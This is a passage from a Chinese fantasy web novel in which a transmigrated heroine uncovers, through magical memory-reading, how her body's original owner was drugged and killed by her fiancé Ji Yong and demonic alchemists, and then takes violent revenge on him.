在后门吗,她的遗体在外面的露水里又停了多久?” “你究竟是怎么想的,能与季邕合谋把我送上仙山,反倒无法阻拦她和季邕?”关云铮越说越气,而原身的母亲像是屏蔽了她的质问, 依旧伏在关云漪的尸体上哭泣着。 “别哭了!”关云铮骤然爆发出怒意,“她不会回来了,你再哭她也回不来了!” 她用手背抹了一把自己的眼角,借此动作勉强收敛一些怒火:“你是怎么瞒过闻大哥的眼线让她和季邕私下会面的?” 问完她又自嘲似的笑了一声:“算了,问你做什么,我去问季邕。” 说完她转身要走,身后原身的母亲终于开口道:“谁会知道季邕是这种人!你以为漪儿死了我心里不难过吗!” 关云铮猛地转回身:“我难道不曾告诉过你季邕的品性如何吗?不曾同你说他绑了我还打算违背约定吗?我难道不曾明确地表达过,此人决计嫁不得吗?”她怒不可遏,胸膛剧烈起伏,“可我说的这些话你听进去了吗?你只相信自己看到的,季邕在你面前表现得温良可亲,你就觉得他是个可堪托付的好人,他懂你不喜欢我,提出把我送上仙山,正合你意,于是你又迫不及待地要报答他的恩情,将自己另外一个女儿嫁与他。” “你如今流这些眼泪又是给谁看?除了能让你自己心里好过一些,又能告慰谁?关云漪如果知道她是怎么一步一步走进这座坟墓,灵魂一定会不得安宁,每日夜里怕不是都会来找你,在你耳边哭诉,她被季邕虐待毒打的时候,到底有多痛。”关云铮说到这里简直开始觉得自己可笑了,看到关云漪尸体惨状的那一刻就注定了,与原身的母亲说什么都是徒费口舌。 她陷落在家道中落那一场噩梦里,愿意相信的都是她自己和他人精心编织出的骗局,哪里听得进一句人言。 “你们都是我怀胎十月生下来的孩子,受伤了痛了,我这个做母亲的怎么可能不跟着心痛呢?”她又开始哭了。 关云铮漠然转身:“收起你的眼泪吧,你的孩子都死了。” “你在仙山这些天究竟学了些什么?怎么会变得如此冷血无情!”为什么你上仙山修道后,每次回来家里都没有一件好事! 关云铮发现自己还挺厉害的,气到这个程度居然还笑得出来:“与你有何关系?你的大女儿早就死在被你送上仙山那天了。” **** 先前关家出事关云铮是独自下山,虽然回去之后跟师门简单说过自己在山下的经历,但语言永远没有亲眼所见来得震撼人心。 因此四人离开关家宅邸后好长一段时间都没说话。 关云铮情绪糟糕到了极点,但她不知道该怎么形容自己此刻的心情。直面尸体及其惨状的当下,她既震惊又愤怒;见识到了原身母亲对于这件事的态度后,她只觉得无比的荒谬;不间断的质问本该排遣一部分愤怒,但她说完后反而陷入了更庞大的茫然之中。 她甚至感受不到原本对原身两姐妹的惋惜与痛心了。 关家虽然家道中落,但多少有着从前的家业支撑,宅子依旧占了好些面积。几人各怀心思走得很慢,半晌过去依旧走在关家的墙根下,关云铮走出去十几步远,依旧感到一片空茫。 为什么会有这样的母亲?为什么会有这样的家庭?为什么偏偏是原身遭受这一切?她的灵魂在弥留之际做的唯一一件事甚至是让她这个夺了她躯体的人,去看一眼她重病的父亲。 楚悯看她神思不属,默默落后半步走在她身侧。 门派中曾经有长老对出关后的掌门说过,天问可以没有镇山灵器,灵器也可以不是溯洄,但她父亲执意要付出代价成就溯洄,因为他不能忍受真正地付出了代价,离开人世的人是他的弟弟。 楚悯年幼时不懂,长大后才明白,那时父亲所做的一切其实无关血脉亲情。倘若离世之人并非她叔父,他的亲弟,他也会这么做。 因为那是一种侥幸存活的人对已死之人的愧怍。 正如片刻之前,站在关家宅院之中质问关家夫人时,关云铮脸上的神色。 她尚且不知自己为何来到此世,就接连得知原身与原身的妹妹都死了,此刻她会是什么心情? 楚悯在心里叹了口气。 走在四人最后的江却一如既往的沉默。先前他对师妹的认知一半基于小映的描述,一半是自己所见,现今他意识到,师妹不只有小映描述的心思灵巧一面,也不只有在他面前拘谨的一面,还有方才痛斥怒骂的一面。 他自己还未记事便没了父母,做流民时见过一些带着孩子的母亲,后来被师父带回归墟学习课业,也了解了寻常的母子之间会如何相处。 云铮的母亲思及此,他也在心里叹了口气。 走在江却稍前头的闻越正默默用灵牒和他大哥传信,告知他此事进度。早晨他看见关家宅邸外悬挂白灯笼的当下便上前确认,随后就跑回家里去找他大哥了。 他大哥做事向来靠谱,没道理派人盯着关家,结果发生了这么大的事还不知情的。 结果跑回去才知道,季邕那东西趁着天还没亮的光景就把人的遗体送回了关家,他大哥也是不久前刚得到消息,正准备给他传信。 昨夜李演提出下山一事时已经有些晚了,他压根没想着打扰或许早已睡下的大哥,因此闻逍并不知晓他要下山,闻越抵家时他甚至仍在发愁,该怎么让自己粗心的弟弟快些知道此事。 灵牒一般是一对,兄弟俩各持一块,但闻越习惯了用蝴蝶传信,总会忘记查看衣袖里闪烁不停的玉牌。 闻越听他大哥说完,叹了口气,宽慰道:“无事,我已经用传音术告知师兄了,他应当很快便会下山。” 闻越处理完传信的事,又回到不敢开口的状态,默默看了走在旁边的江却一眼,发觉师兄也没有开口的意思,于是继续闷声往前走。 最终还是关云铮先打破沉默:“季邕在哪?” 闻越来关家就是为了此事,闻言立刻回答道:“殷含绮方才让人给我传口信,说人在她那里。” 关云铮的脚步一顿:“殷含绮?” 闻越颇觉头疼地叹了口气:“一时半会儿我也说不清楚,她让我们处理好关家这边的事后就去找她。” 关云铮语气平淡地“嗯”了一声。 楚悯一直走在她身侧,见她愿意说话应当是心情平复了些,又默默看了她一眼。 关云铮自然没漏掉这一眼,对上楚悯关切的视线后安抚道:“我没事。” 楚悯的声音轻轻的:“可是你难过呀。” 关云铮没说话,实在是有点不知道说什么好。 季邕为什么会虐待关云漪?不,不该这样想,上次下山季邕甚至能用迷药迷晕她,还有什么事是他做不出来的。 事情的关键应该在于,当初到底发生了什么,季邕才会和原身的母亲合谋把原身送上仙山,而在这个过程中鬼灯楼又扮演了什么角色,是否是他们导致了原身的死亡。 还有,原身魂魄残留的生前记忆里,那句“自愿”究竟是对谁说的。她到底又“自愿”做了什么? 闻越带着三人走到一处小院前,终于停下脚步:“季邕在里面。” 关云铮没说话,直接抬手推开门进去了。 闻越又叹了一口气,走在后面一脸苦恼。 走在他身侧的江却开口说了下山后的第一句话:“在担心什么?” 闻越愁眉苦脸:“季邕这东西死一百次都是活该,但是不该死在云崽手上,我不想让云崽沾上人命。” 江却看了眼往里走的关云铮,简短道:“大概不会。” 闻越把院门重新关上,刚想说什么,就看见原本跪着的季邕见了关云铮打算站起来,结果被后者当胸一脚踹回去了。富家公子整天不务正业,身板脆得不堪一击,当下就被踹得在地上滚了一圈,吐了一口血。 闻越咽了一下:“嗯,我估计也不会,大概会弄个半死但留口气。” 其实关云铮没打算杀人。 至少现在没这个打算。一来让季邕就这么痛快地死了太便宜他了,二来,他做过的恶尚未一一揭晓,没准揭开谜底后,会有更多人比关云铮还想让他不得好死。 殷含绮就坐在厅中,见了他们也没起身,只是懒懒地抬了抬手:“我原本想着先行审问一番,但听闻越说你来了,估计你更想亲自问个明白。” 关云铮走入厅中,对她点点头:“多谢姐姐。” 江却不知两人彼此认识,闻言看向闻越。只见闻越露出自家的白菜被猪拱了一般的痛心疾首神色,注意到师兄看过来的视线,还忍不住控诉道:“你看她都骗得云崽叫她姐姐了!” 因为当下的场合不对,闻越连控诉时都把声音压得很低,听着更憋屈了。 江却又好笑又无奈,同样压低声音道:“云崽哪有那么容易被骗。” 楚悯也深以为然地接话:“嗯,云崽自有她的判断。” 闻越不满地撇嘴,随即又注意到江却方才说的称呼,刚想说点什么,关云铮那边已经开始了审问。 **** 其实关云铮正在做的事用审问形容也不太准确,应该叫拷问更为恰当。 因为她根本没“问”。 殷含绮看她走近,递给她一根香:“放心,不是引魂香。但是跟那东西用途差不多,也能看见人的记忆。” 关云铮接过香:“那区别在于?” 殷含绮摇着扇子:“他会非常痛苦,并且能清楚地看到,你都看到了些什么。” 关云铮不疑有他,正准备找个火源把这香点了,殷含绮已经凑上前来,轻轻对着香挥了挥手中的团扇。 那香的顶端瞬间亮起火星,摔在地上的季邕无端抖了一下。 殷含绮示意关云铮拿着那根香,她自己则走到季邕面前,俯身凑近说了句什么。 也不知是她刻意压低了音量还是那语言本就晦涩难明,关云铮就站在她身后,居然完全没听懂。 这个世界的语言和文字体系几乎跟21世纪差不多,虽然多数字是繁体但连在一起总能解释清楚寓意,语言则更为简单,她目前还没遇到过听不到的话。 随着烟雾从香的顶端升起逸散,季邕的神情逐渐变得有些茫然,或许是因为自己的记忆骤然被人掀开有些不解。而很快他的神色就转为愤怒,但他似乎掌控不了此刻的身体,在地上挣扎了许久也没能打断殷含绮对他记忆的读取。 从季邕痛苦的神态来看,或许用“抽取”来形容更为恰当。 关云铮手中的香燃了一半的时候,殷含绮终于直起身,从她那接过香,又对她轻轻挥了挥扇子。 她感觉到一团混乱的东西迎面而来,比彼时心魔引散发出的气息还要令人抗拒。 殷含绮并不意外:“你若是难以忍受,我可以为你读出他的记忆。” 关云铮摇摇头,表示自己尚且可以忍受:“怎么读?” 殷含绮伸出手:“用你自身的灵气触碰即可。” 关云铮于是依言催动灵气,伸出手点了一下那团东西。 磅礴的恶意汹涌而来,像毫不留情的一场巨浪,咆哮着把关云铮吞了下去—— 作者有话说:想要评论[撒花] 60-70 第61章 “等你过了笄礼, 我们便成亲。”季邕对关云筝说道。 二人正一同坐在河边的柳树下,河水卷着几片冬日的枯叶从脚下流过。春日里稀薄的阳光催生了新芽,飘絮之时未至, 关云筝垂着眼, 正专心编着手上的彩绳:“我不想这么早成亲,此事先前同你说过了。” 季邕有些不快, 但没在当下发作, 凑她近些问道:“是伯母依旧不赞同吗?” 关云筝指间的动作顿了顿,她抬头短促地看了季邕一眼,而后又专心做自己的事了:“同我母亲无关。” 那同什么有关呢?季邕很想直接这样问她,但他和关云筝相识多年,自然知道对待眼前这位不能操之过急,逼得越紧她便越是沉默, 反而问不出自己想听的回答。 于是他耐着性子问:“不嫁人的话,你想做些什么?” 关云筝不答反问:“那若是你不娶妻, 又想做些什么?” 季邕没料到她会反问,愣了一会儿才说:“自然是去参加科举, 考取功名。” 关云筝编完了手上的彩绳, 收好放进随身带着的荷包里,抬起眼看他:“你如今也可去考取功名。” 季邕见她作势要走,连忙伸手抓住她的手腕:“你不想嫁给我吗?” 关云筝没说想, 也没说不想, 只是用一种平静但很难看懂的眼神看着他。 …… “云漪说她今日在街上遇见你了。”关云筝看向季邕。 季邕坐在她身边,闻言语气如常道:“你妹妹?是遇上了。” 关云筝没说话,只是看着他。 心里有鬼的人是无法顶住直白的注视的,尤其是关云筝这样性格的人,她沉默回避的时间更多, 很少这样不加掩饰地用目光烤着他人。 因此季邕没过多久便被她看得不自在,再度开口时的语气也变得奇怪起来:“你总不会是吃醋了吧?我是同她说了几句话,但那可是你妹妹。” 关云筝不搭话,只是依旧用平静的眼神注视着他,直到他被看得逐渐不耐想要为自己辩解时,终于开口道:“季邕。” 如今已是夏初时节,她的语气却冷得像春寒料峭时吹来的风。 “我希望你牢记那是我的妹妹。” …… “令郎日后……怕是……”背着药箱的郎中欲言又止,听懂他弦外之音的季家夫人扑在季邕身上哭泣。 “我儿糊涂啊……你怎么就用了那药呢!那般虎狼的药你怎么就用了呢……” 季邕没骨头似的软在榻上,药效发作的当下他大汗淋漓,此刻体内就像被人抽丝般剥离了所有的精力,哪怕躺在柔软的锦被当中,也无法缓过当时脑海中一瞬的空茫,濒死的感觉几乎咬到他耳后,此刻能安然躺在榻上已是幸事。 只是他此刻过了彼时绝望的劲头,此刻盯着床帏,心中骤然生出一股强烈的恨意来。 那么多人用了都只是助兴,凭什么他用就落得这个下场? 儿子半晌都没个反应,季家夫人被吓坏了,哆哆嗦嗦地看向一边的郎中:“大夫,我儿这是怎么了……” 大夫面露难色,张口欲言时,榻上的人开口了:“仙门的丹修呢?可有药能医治?” …… 仙门只救修道者,不救凡人。 季邕在数次求仙问药无果后,终于想起这世上不只仙门有丹修。 而镜溪城便有鬼灯楼。 **** “师兄。”闻越皱起眉头,“你觉不觉得云崽有点不对劲?” 江却还没回答,另一侧的楚悯已经和闻越对上视线,都在彼此眼中看到了惊疑不定的神色,楚悯倍感不妙,一边朝厅中走一边快速地在手中起卦,正要走到关云铮身后时,就见她突然浑身一颤,像被谁卸了周身气力,痛苦地弯下腰,像是要向前摔落。 楚悯吓了一跳,卦阵也顾不上看了,一把托住她的肘弯。 闻越急忙架住了另一边,低头看过去:“云崽?云崽你没事吧?” 关云铮没说话,楚悯无端心惊肉跳,拂开她垂在脸侧的碎发时看见她眉心发红,像是有什么印记要从皮肤下方破土而出。 一直站在关云铮前方的殷含绮也在凑近观察后皱起眉头:“心魔引?” 说起心魔引闻越就来气,哪怕始终知道殷含绮和鬼灯楼多数人不是一条心,此刻也忍不住迁怒道:“还不是你们门派里的狗东西,给她种下了心魔引。” 殷含绮向来独来独往,因此她从来不接受带“你们”二字的指控,听了这话反倒笑起来:“你怎么就敢确定她如今痛苦的模样都是因为心魔引?” 原本已经在地上蜷缩起来,呓语不停的季邕此刻停下了动作,虽然口中依旧喃喃自语着什么,但加诸他身上的记忆抽取显然已经结束了。江却从关云铮手中拿走那根燃了一半的香,看向一边的殷含绮:“此香当真对使用者无害?” 殷含绮收起脸上的笑意,手中的团扇也变为一团红光被她拢进掌心消失不见:“当然,我不会害她。” 江却示意楚悯松手,他和闻越一起把关云铮扶到一边的椅子上坐下:“我们如何能信你?” 殷含绮神色平淡:“我不需要你们信我,她现在应该是被别的东西影响,陷进了另一段记忆里。至于那东西究竟是什么,我也看不出来,总之不是心魔引。” 闻越追问道:“确定并非心魔引?” 殷含绮耐性告罄,往旁边的椅子上一坐:“你不都说了是我们门派给她种的,我自然见过许多真正受心魔引影响的人是何种模样。” 她眉心的印记都没显现出来,只是发红,说明是识海翻涌影响到了存在其间的心魔引,而非心魔引躁动让她有走火入魔的风险。 至于为何会识海翻涌…… 楚悯终于能分出心神看一眼手心的卦象,却在看完后再次皱起眉头:“我……没算出来。” 闻越疑心自己听错了:“没算出来?” 楚悯重新起了一卦,片刻后看着手心的卦象,眉心锁得更紧:“问不出,好像受到了阻拦。” 江却比闻越要冷静许多:“之前发生过吗?” 楚悯摇摇头,正打算重新起一卦,闻越急道:“算不出来就别算了!云崽要是醒着,也不想看你短时间起这么多次卦。” 楚悯抿了抿嘴,虽然心里清楚闻越此刻说的是事实,云崽醒来后如果知道她偷偷起了两卦,一定会生她的气,但天问本性如此,遇到无法掌控的事总会下意识地寻求最驾轻就熟的技艺,哪怕算不出结果,在起卦的那一刻就能得到稀薄的一点安慰。 她正打算再起一卦,瘫坐在椅子上的人忽然连着咳了好几声,有气无力道:“好啊,趁我昏迷不醒偷偷问是吧?” **** 虽然不知道天问掌门是如何在没有亲手把将隐交到她手里的情况下,让将隐与她建立联系的,但昨日发生的事情让关云铮笃定了此物一定与她某些时候的思维能力脱不开关系,于是在针对它的讨论告一段落后,就把这小玩意儿揣进了随身的乾坤袋里。 谢天谢地。 还好她把这东西揣在身上,不然她都没法在读取季邕记忆的时候,看见关云筝的记忆。 不知道将隐是从哪接入的,它分明好端端地待在她的乾坤袋里,但就在季邕的记忆进展到他和鬼灯楼建立合作,打算把关云筝的生魂献给鬼灯楼,而后者会给予他应得的报酬时,关云铮听见了将隐轮盘飞速转动的声音。 最底下的轮盘连续转动几十圈原来是这种声音,闷闷的,沉沉的……她几乎听不见另外两个轮盘转动的声音了。 季邕在记忆中算计着他的“未婚妻”,将隐在记忆之外飞速地转动着,不,应该说,回溯着。 然后在某个瞬间,“嗒”一声轻响,将隐停止了转动,她的视角骤然从俯瞰季邕的上帝视角,变成了关云筝的第一人称视角。 这种感觉她很熟悉,因为从来到这个世界开始,每分每秒她都处在这样的视角里。 只不过这段记忆里她是个真正的看客,而这具躯体属于它原本的主人。 **** “你喜欢季邕?”关云筝看向关云漪,微微皱起眉。 原本还在侃侃而谈自己与季家公子在街头偶遇的妹妹突兀地停下话茬,不安与不虞在她脸上交织着出现,片刻后才小心翼翼地开口说道:“姐姐,我不是那个意思……你是他的未婚妻,此事我知道的。” 关云筝摇了摇头,表示自己问话的重点并不在此:“我并不想嫁他,若是你当真喜欢,可以去问问母亲的意思。” 关云漪不大高兴地扯着自己衣摆的布料:“你同季家公子的婚约都定下好些年了,怎么改得。” 关云筝叹了口气,又把荷包里的彩绳拿出来递给关云漪:“季邕此人……并不如你所见那般。” 关云漪是个从小听好话长大的主,听不得一点逆耳忠言,此刻听了这句立时便觉得关云筝是意有所指,不满道:“姐姐倒是说说,他哪点与表露出来的不同了?” 关云筝把荷包收好:“你知道他每月都要去上至少两三次青楼吗?” 关云漪愣住:“什,什么?” 关云筝神色平淡地笑了笑,没再多说,起身走了。 …… 季邕把他用药过激不中用这件事瞒得很好,关云筝起初也没得知。 但奈何她太了解他了,从他平日说话逐渐变得不加掩饰的暴躁,谈起婚嫁话题时更加偏激的态度,以及……若有若无地提起邪修的语句中,都窥见了一丝不对劲的痕迹。 鬼灯楼这个门派关云筝听说过,毕竟此门其中一位掌司恰好是镜溪人士,常年驻扎在此。 但她毕竟只是个闺阁女子,所识有限,对仙门邪道这些门派没有太多认知,也就没能在第一时间了解到,鬼灯楼其实有相当一部分人,是借活人之物炼丹的丹修。 而等她得知此事时已经来不及了。 …… 活着的时候被生生剥离魂魄是什么感觉? 关云筝很想同人说说那种仿佛千百根针一齐扎进骨髓的感觉,又或是如同千百把尖刀扎进血肉后一刻不停搅动的痛楚……可惜剥离魂魄的那一瞬间她就在某种意义上真正地“死了”,再也无法张口说话了。 鬼灯楼的丹修不做囤积的生意,从来都是有人指名要某种丹药才会开始炼制,并且总会要求出钱的人自己提供丹药的“原材料”。 季邕要的药制作起来并不难,只需要未经人事女子的气血或是精魂。 但是丹修没说要多少,于是季邕给关云筝下了足以放倒一位成年壮汉的蒙汗药,把她带到了丹修的面前。 她不是没有防备,但是只要季邕对自己的母亲说上几句好话,她就会被母亲笑着推出家门,然后打发乞丐似的,往她手里塞一块包裹了碎银子的帕子。 母亲把她当做重振家业的筹码,当做讨好季家的工具,唯独不把她当做一个可能并不想嫁人的女儿。 而她此刻唯一的倚仗便是这座宅子,一旦被她的母亲亲手推出来,就没有了任何自保的可能。 关云筝是活活痛醒的。 手腕似乎被割开了,血正在缓缓往外流,有没听过的声音在同季邕交谈,但或许是血流得太多了,她耳边一直有瀑布似的水声,嗡嗡响个不停。 “其实用不着整个人都送过来,不过是要一点她的血。” “麻烦你们炼丹,当然要拿出点诚意。” “她不是同你有婚约吗?怎么,不做数了?” “大不了改为娶她妹妹,她们家怕是乐见其成。” “这个和她妹妹不是亲生的?” “亲生,怎么不是亲生。” “那怎么舍得?你就这么随便弄死了,她娘不伤心?” “她娘?她娘要是会伤心又怎么会让她嫁我?再说了,她妹妹如今可是盼着嫁与我呢。” “哈哈哈哈,说的也是。既然你这般有诚意,那我们索性把她的生魂也取出来了。” “生魂?是要做什么?” “修炼啊,还能做什么?我们邪修不就是拿人修炼吗?被活剥出来的生魂怨念更强大,效用也更强,做成引魂香更是可以引渡更多的生魂……” “引魂香又是何物?” “你怎么问那么多?还不走?不怕被人发现你谋杀未婚妻了?” “这就走这就走,多谢各位仙长的丹药。” “这小子还管我们叫仙长,哈哈哈哈……” 关云筝缓缓地眨了眨眼睛。 原来这就是邪修。 这样看来,做个邪修是不是也挺好的。 她想要牵起嘴角笑一下,却发现自己有些感觉不到躯体所在了。 或许是蒙汗药的药效还没退,她居然觉得迎接死亡的过程异常平和,平和到她觉得自己只是困意上涌,忍不住想要睡一觉。 而就在她打算闭上眼睛的时候,她听见一个声音问她:“你想要救你自己吗?”—— 作者有话说:来了来了() 第62章 关云筝感觉自己好像是在笑, 只是那笑声缥缈得像春雨过后山腰间的云雾,被风吹得越来越远、越来越轻:“我活不下来了。” “我看看……你确实活不下来了,但你的躯体还能活下来, 魂魄离体的瞬间躯体尚且能够维持生机。不过你想让它活下来吗?”那个声音似乎是探究地看了一会儿, 得出结论后又问道。 “躯体活下来……能怎么样?”关云筝听见自己“问”。没有了魂魄的躯体就算能短暂地保留生机,又能对如今的局面造成何种影响呢? “这个我也说不好, 你听过献舍吗?”正在说话的声音听起来并不年轻, 可说这话时语气里带着一种近乎残忍的天真,好像祂并不关心关云筝的死活,只是路过时随口点评几句,也没打算真心给出什么切实有用的建议。 关云筝没听过,诚实地“摇了摇头”。 “不过这倒也算不上献舍,毕竟我无法保证会有无处可去的灵魂接手你的躯体。”那个声音说。 “如果有的话, 可以请求你一件事吗?”关云筝说完后有些惊讶地想:魂魄被剥离躯体的过程竟感受不到太多痛意,只是五感在逐渐淡退, 眼前的色彩消失,耳边也空茫, 唯有一股淡淡的线香气息始终萦绕在鼻间, 还有这个声音,依旧清晰得像是在她脑海中与她对话。 “什么事?”那个声音问道,饶有兴味般。 “我那时一定已经死了, 可以请你告诉那个后来者, 让她救救我妹妹吗?”线香的气味好像也闻不到了。 “嗯?你妹妹?”那个声音似乎是在哪里“翻找”了一番,“可你妹妹似乎不太喜欢你。”祂直白得有点惹人生厌了,但可能是她快死了,也可能是她习惯与这样的人打交道了,关云筝此刻竟也没生气:“是啊, 她不太喜欢我,但我希望能有人救救她。” “既如此,我可以答应。但你的求救,后来者未必能接收。” 关云筝笑着叹了一口气:“我救不了我自己了,我也救不了我妹妹,不管是谁哪怕是某个世上的另一个我,帮帮我吧。” “那么,你当真自愿献出你的躯体吗?”那个声音问道。 “是,我自愿。”关云筝“听见”自己“说道”。 **** 将隐的轮盘再度发出“嗒”的一声,关于关云筝的记忆回溯结束,停止了转动。 关云铮撑着椅子的扶手站起来,还没开口,眼里毫无预兆地滚落两行眼泪。 本就站在一边的闻越被她吓了一跳,连忙掏出手帕递上前:“怎么了?怎么突然哭了?难受?” 楚悯拿着手帕给她擦眼泪,江却皱着眉头站在一边。 虽然她看着好好的,还能自己站起来,但是先前听见话没反应还突然晕厥,此刻又无端落泪,怎么也不像是好受的模样。 殷含绮同关云铮师门的几位不同,早就见过她哭的模样,此刻见她落泪,大概明白些什么,沉默着站在一边,见脚边的季邕像是要恢复清醒,面不改色地又把他扇晕了。这东西但凡是个邪修她都随手料理了,可他偏偏是个比邪修还像邪修的普通人,还知道许多关云铮关心的事,暂时还不能死。 关云铮没说话,她感觉喉咙里像是被掺了一把沙土,粗粝的感觉磨着她的咽喉,她却咽不下也吐不出,而密集的痛苦就像胆汁,带着苦涩的味道从胃里翻涌上来,灼得她眼眶发酸,泪水也不受控制地涌出来。 或许这具躯体本就残留着真正的主人魂飞魄散之前的记忆,只是始终缺少一个触发的契机,所以她遍寻无果,哪怕在溯洄中都寻不到它的踪迹。 因为这段记忆根本就不在溯洄里,不在那缕残魂里。 关云筝把这段记忆留在了躯体里,用来提醒后来者,可她却没能早点看到。 她谁也没能挽救。 关云筝死了,关云漪也死了。 全都死于非命,直接或间接地死在季邕手里。 如果她早点看到这段记忆,关云漪是不是就不用死了?她的妹妹是不是就能活下来,她临死前唯一的心愿是不是就能实现了? 不,当初姐妹俩的父亲病重,就是这具躯体的异常反应提醒,殷含绮那时是怎么说的? ——那时关云筝的残魂仍停留在躯体附近,但已经没有力量回应香炉了。 所以那时她就彻底地消散了,溯洄里保留的也只是两句话而已,根本算不得她真正的魂魄。 关云筝早就知道了,她早就知道她的妹妹不会获救了。 关云铮在这一瞬间被巨大的愧疚感笼罩,她想找个地方大哭一场,或是捂着脸躲避外界的目光,好让自己的心里好受一点。 但这里并不是可以让她独自消化情绪的场合,两位师兄和小悯都在,殷含绮也在,流再多的眼泪也只是让他们担心,实际全然于事无补。 “大师兄,你们先出去等我吧,我还有些话要问季邕。”她脸上的泪痕干了,因为含盐量太高在皮肤上留下些微的灼痛感。 江却看上去想说点什么,但最终还是没开口,点头应下,和同样欲言又止的闻越楚悯一同出去了。 关云铮又看向殷含绮。后者早有准备似的:“我也出去等着。” “姐姐,你有刀吗?”关云铮在她走之前说道。 殷含绮回头:“要什么样的?” “锋利就行,用完就得扔。” 殷含绮早有所料似的,用手中团扇指了指厅中一角。 关云铮顺着她所指看过去,只见厅中角落的一张小桌上,摆满了各式各样的刀。 “多谢。” **** 季邕是在一阵尖锐的疼痛中醒来的。 殷含绮点燃的那根香,与他先前在其他鬼灯楼门中人那里见过的引魂香不太一样,纵然两种香看起来别无二致,但这一种散发出的气味更淡,引发的痛苦也更剧烈。 他在那香点燃后升起的烟雾里逐渐失去了对身体的掌控,能清楚地感觉到关云筝在窥探他的哪一段记忆,那种感觉就像是有人用烧热的针刺进他的头颅,他想要挣扎却始终动弹不得。因此在他被疼痛刺醒的第一时间,熊熊燃烧的怒意就攫住了他。 他猛地睁开眼,正对上关云筝面无表情的脸:“你竟敢!” 长期对某个固定的人使用暴力的人,在被反抗时会感到强烈的不可置信,哪怕那点反抗微乎其微。因为这是在推翻他们的权力,是挑衅,往往会加剧施暴者的暴力行为。 但关云铮面对他的怒火表现得分外平静,她悠闲地坐在季邕面前的椅子上,手里把玩着从那堆刀里随手拿的一把匕|首,听见这话甚至还笑了一声:“别装了,你不是早就知道我不是关云筝了吗?” 季邕的表情扭曲了一瞬,这样近的距离,关云铮能清楚地捕捉到他眼里对自己的恨意,以及那一瞬间泄露出来的慌乱。 想来他与那几个邪修的交易并不十分的真心实意,两方都没有完全交托信任。 关云铮饶有兴致地问道:“看着关云筝死了,结果又看见我全须全尾地从青镜山回来了,一定很害怕吧?” 季邕伸手向后撑住地面,让自己坐起来:“你究竟是什么人?” 关云铮歪了歪头,不答反问:“看来那香的效用还在?你到现在也没意识到自己被我捅了一刀吗?” 季邕瞳孔骤缩,下意识往两股之间看了一眼。 “反正也无用了,留着岂不是每日都得睹物伤情?倒不如割了来得痛快,你说是吧?”关云铮一手拿着匕首,另一手拄在腿上撑住下巴,看着他笑起来。 季邕胸膛剧烈起伏,面色在瞬息之间变换了好几次,骤然起身就要扑向关云铮。 摇羽无令自动,刹那飞至两人之间,横过剑身一剑抽在他腿上。 “既然知道我不是她了,就稍微忌惮着点。要不给你把刀?不然你赤手空拳,怕是打不死我。”关云铮撑着下巴说道。 季邕双腿剧痛难忍:“你究竟想做什么?” 关云铮挑眉:“你说呢?” **** 殷含绮站在门外摇扇子:“他还挺能忍的。” 闻越无端心惊肉跳,数次想要进门看看,都被楚悯拦住了。 “云崽有分寸。”楚悯言辞恳切,对上闻越怀疑的目光又找补了一句,“大概。” 在闻越和江却看来,关云铮是在报复虐杀了她妹妹的恶人。但殷含绮和楚悯都清楚,她当下的举动除了出于对季邕的恨意之外,更多的是对自己的谴责。她觉得是因为自己来迟了,原身的妹妹才会落得这个下场。 这种心理之下的报复行为会更残忍,几乎没有人能例外。 所以关云铮提出让他们先出来时,没有人反驳,因为他们都清楚她不想让别人见到这样的场景。 闻越在门外来回踱步,实在焦灼时看向殷含绮:“季邕究竟为何在你这里?” 殷含绮举着扇子遮住自己半张脸:“也对,你们看不到方才那段记忆。”她似乎现在才想起来似的,“约莫半年前,季邕在流连花街柳巷时败了身子,他娘到处为他求医问药,遍寻无果。季邕便打了丹修的主意,起初他去了归墟。” 江却皱眉:“归墟不向外界兜售丹药。” 殷含绮颔首:“是,所以他后来就找到了鬼灯楼。” 鬼灯楼的丹修近年来的所作所为整个修仙界都有目共睹,闻越听了这话,脸上的神情看上去像是想冲进去给季邕一刀,勉强忍住了:“鬼灯楼的丹修能治?” 那鬼灯楼的门槛还不得被踏破? 殷含绮掩在扇子之后的脸上似乎闪过了一抹笑意,但语气如常:“不能,但他们骗了他。” 闻越的神情更复杂了,他沉默了好半晌才说:“他一直没得到丹药,所以找上你了?” 殷含绮心不在焉地“嗯”了声:“谁让我看起来就不像名门正派呢?” 楚悯格外认真:“名门正派还是邪修并非由外在界定,况且名门正派也不一定都是好人。”比如某位灵兽派长老,她有些不尊师长地腹诽着。 殷含绮这会儿真正地笑了起来,扇子都好险没拿住:“你又是哪个门派的小师妹呀?” 楚悯没有此刻正被“调戏”的意识,如实答道:“天问。” 殷含绮的丹凤眼都变圆了些,奇道:“天问还能出你这样的?”她往门的方向看了眼,“还是说近朱者赤了?” 闻越没好气:“她是不是近朱者赤我不知道,我倒是担心再多跟你接触几次,云崽就得近墨者黑了。” 殷含绮毫不在意:“里面好像没动静了,是进去看看还是等她出来?” 一直沉默不语的江却此刻说道:“等她出来吧。”—— 作者有话说:今天短短(目移) 第63章 片刻之后, 关云铮推开门出来时正对上四双关切的眼睛。 她摊开双手在四人面前转了一圈,展示自己分毫未皱的衣裳,和裸露在外没沾染一点血渍的皮肤:“毫发无伤, 可以放心。” 楚悯伸出手摸了摸她手心的红痕, 没说话。 关云铮不太在意地用左手揉了揉右手掌心,表示自己无甚大碍:“那匕首用得不大顺手。” 站在一侧的殷含绮闻言挑眉:“选的匕首?” 关云铮点点头, 随即脸上流露出一点愧意:“脏了, 不能要了吧?”虽然她本意便是用完即扔,但那匕首看着做工还挺精细的,刀刃也漂亮,唯一缺点就是手柄偏硬,有些硌手,就这么变成一次性耗材还怪可惜的。 殷含绮闻言打算往里走:“别急, 我先看看。”她相当好奇落在关云铮手里的季邕会是何种下场,迫不及待地就进去了。 闻越脸上的无语神色显而易见:“她就不能稍微掩饰点?”但他看着殷含绮进去后又相当坦诚地补了一句, “虽然我也很想知道那狗东西到底成什么样了。” 坦白说,关云铮没怎么折磨季邕, 毕竟不知出于什么原因, 那只燃了一半的香效用还在,看季邕的表现,似乎还能麻痹肢体感觉, 所以他方才一直没怎么呼痛, 因为确实没有真实的痛感。退一步说,哪怕她方才真想往死里折磨他,他感觉到的痛感也会极大地减弱,那多便宜这杀千刀的,于是关云铮索性不折腾了。 但话又说回来, 这个“没怎么”是与季邕虐待关云漪的程度相比,所以看起来估计还是会有几分惨烈,吧。 因此关云铮在殷含绮进门后默默挪了一步,将将挡住了门口,做完这个动作后心虚地摸了一下鼻子。 闻越正欲进门,见状一脸不解:“捅个人渣怎么了?就算掌门在也不会说你什么。” 关云铮:? 